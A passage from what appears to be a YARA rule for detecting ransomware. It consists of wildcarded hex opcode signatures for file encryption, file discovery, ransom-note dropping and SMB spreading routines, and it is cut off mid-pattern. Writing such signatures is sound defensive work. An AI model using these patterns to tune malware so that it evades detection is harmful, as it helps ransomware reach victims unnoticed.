?? ?? 8B 85 ?? ?? ?? ?? 83 78 ?? ?? 0F 85 ?? ?? ?? ?? 81 FF ?? ?? ?? ?? 0F 87 ?? ?? - ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 66 90 BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 3B FE 6A ?? 0F - 42 F7 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 6A - } - $encrypt_files_v1_p4 = { - 6A ?? 6A ?? 56 FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D - 8D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 46 ?? 50 FF B5 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 03 C6 89 85 ?? ?? - ?? ?? 2B FE 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B CF C1 E1 ?? 2B CF 03 C9 83 F9 ?? 0F - 82 ?? ?? ?? ?? B8 ?? ?? ?? ?? F7 E1 8B FA C1 EF ?? 0F 1F 00 BE ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? 3B FE 6A ?? 0F 42 F7 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 - ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? - 8D 46 ?? 50 FF B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 - C0 ?? 03 C6 89 85 ?? ?? ?? ?? 2B FE 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? - 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? FF 37 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 83 3D ?? ?? ?? ?? ?? - 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? - ?? ?? 50 FF 37 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 - } - $find_files_v2 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 8B 45 - ?? 53 8B 5D ?? 56 57 53 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 4C 24 - ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8B F0 89 74 24 ?? 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 50 53 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8B - 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 - 24 ?? 50 FF D7 85 C0 74 ?? F7 44 24 ?? ?? ?? ?? ?? 75 ?? 8D 44 24 ?? 50 53 8D 84 24 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 44 24 ?? ?? 74 ?? BE ?? ?? - ?? ?? 8D 44 24 ?? 50 FF 36 FF D7 85 C0 74 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? FF 74 - 24 ?? 8B 4C 24 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 8D 44 24 ?? 50 - 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? - ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 74 ?? 8D 4C 24 ?? 3B C1 74 ?? 68 ?? ?? ?? ?? 83 C0 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 33 C0 66 89 84 24 ?? ?? ?? ?? 8D - 84 24 ?? ?? ?? ?? 50 FF 36 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 C6 ?? - 81 FE ?? ?? ?? ?? 7C ?? 8B 74 24 ?? 8B CB E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? FF 74 24 ?? 50 E8 ?? ?? ?? - ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 0F 85 - } - $encrypt_files_v2_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 - 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 43 ?? 8B 73 ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 6A ?? 50 89 B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? - 0F 57 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? - 6A ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 6A ?? 56 8D - 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 - E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? - ?? 74 ?? FF 15 ?? ?? ?? ?? 50 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 33 F6 E9 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B - 01 FF 50 ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C6 45 - ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 75 ?? 8B 8C 0D - } - $encrypt_files_v2_p2 = { - 8D 95 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 01 6A ?? 52 FF 50 ?? C6 45 ?? ?? 8B 85 ?? ?? - ?? ?? EB ?? 0F 57 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F - 11 85 ?? ?? ?? ?? C6 45 ?? ?? 8B 40 ?? 8B 8C 05 ?? ?? ?? ?? 85 C9 74 ?? 8B 01 FF 50 - ?? 6A ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 83 EC ?? 03 B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 33 F6 E9 ?? ?? ?? ?? 6A ?? 56 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? - 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? - ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 33 C9 83 C4 ?? 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 51 E8 ?? ?? ?? - ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 - E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? - 81 FE ?? ?? ?? ?? 73 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 EB - ?? 8D 0C B6 B8 ?? ?? ?? ?? C1 E1 ?? F7 E1 8D 45 ?? 50 8D 45 ?? C1 EA ?? 50 6A ?? 6A - ?? 6A ?? 6A ?? 8B C6 2B C2 6A ?? 50 57 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 45 - ?? 83 C4 ?? 57 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 - } - $encrypt_files_v2_p3 = { - 57 6A ?? 6A ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 8D - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? - 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 - 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 51 C6 45 ?? ?? 6A ?? 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 57 - E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 - 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 - ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 - C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 6A ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - } - $encrypt_files_v2_p4 = { - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 46 ?? 8B B5 ?? ?? ?? ?? 6A - ?? 50 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 - ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 - 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? - ?? ?? ?? 57 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF - 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B - 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? - ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 50 ?? 8D 4A ?? 89 8C 15 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B - E5 5D 8B E3 5B C2 - } - $drop_ransom_note_v2_p1 = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 50 8D - 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 8B C6 66 83 3E ?? 74 ?? 0F 1F 80 ?? ?? ?? ?? 83 C0 ?? 66 83 38 ?? 75 ?? 50 56 8D - 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 - BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? - ?? 50 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 8D 85 ?? ?? - ?? ?? 3B C6 74 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? 0F 10 06 0F 11 85 ?? ?? ?? ?? F3 0F 7E 46 ?? 66 0F D6 85 ?? ?? - ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C6 06 ?? 8B 95 ?? ?? ?? ?? 83 FA - } - $drop_ransom_note_v2_p2 = { - 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 - C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 95 ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 - C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 - ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? - 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? - ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? - ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 6A ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 6A ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 89 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8D 85 ?? ?? ?? ?? - C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? - ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8B 40 ?? FF D0 85 C0 74 ?? 8B 10 8B C8 6A ?? - FF 12 EB ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 - } - $drop_ransom_note_v2_p3 = { - 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? - ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 - ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? EB - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 - 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 - 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 - ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? - 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 - C4 ?? 8B 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C6 85 ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 - ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D - 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? - ?? ?? ?? 8B E5 5D 8B E3 5B C3 - } - $smb_spreading_v2_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 6A ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 83 C4 ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 3A ?? 0F 8E ?? ?? ?? ?? 33 DB 89 9D ?? ?? ?? ?? 8D 42 - ?? 03 C3 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B C3 BB ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? ?? ?? 66 90 8D 72 ?? 03 F0 8B CE 8D 79 ?? 66 0F - 1F 44 00 ?? 8A 01 41 84 C0 75 ?? 2B CF 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? - ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? - ?? 50 6A ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 81 FB ?? ?? ?? ?? 0F 85 - ?? ?? ?? ?? 33 FF 39 BD ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 33 F6 0F 1F 40 ?? 8B 85 ?? ?? - ?? ?? 83 7C 06 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 34 06 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? FF 34 06 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF - } - $smb_spreading_v2_p2 = { - 15 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? 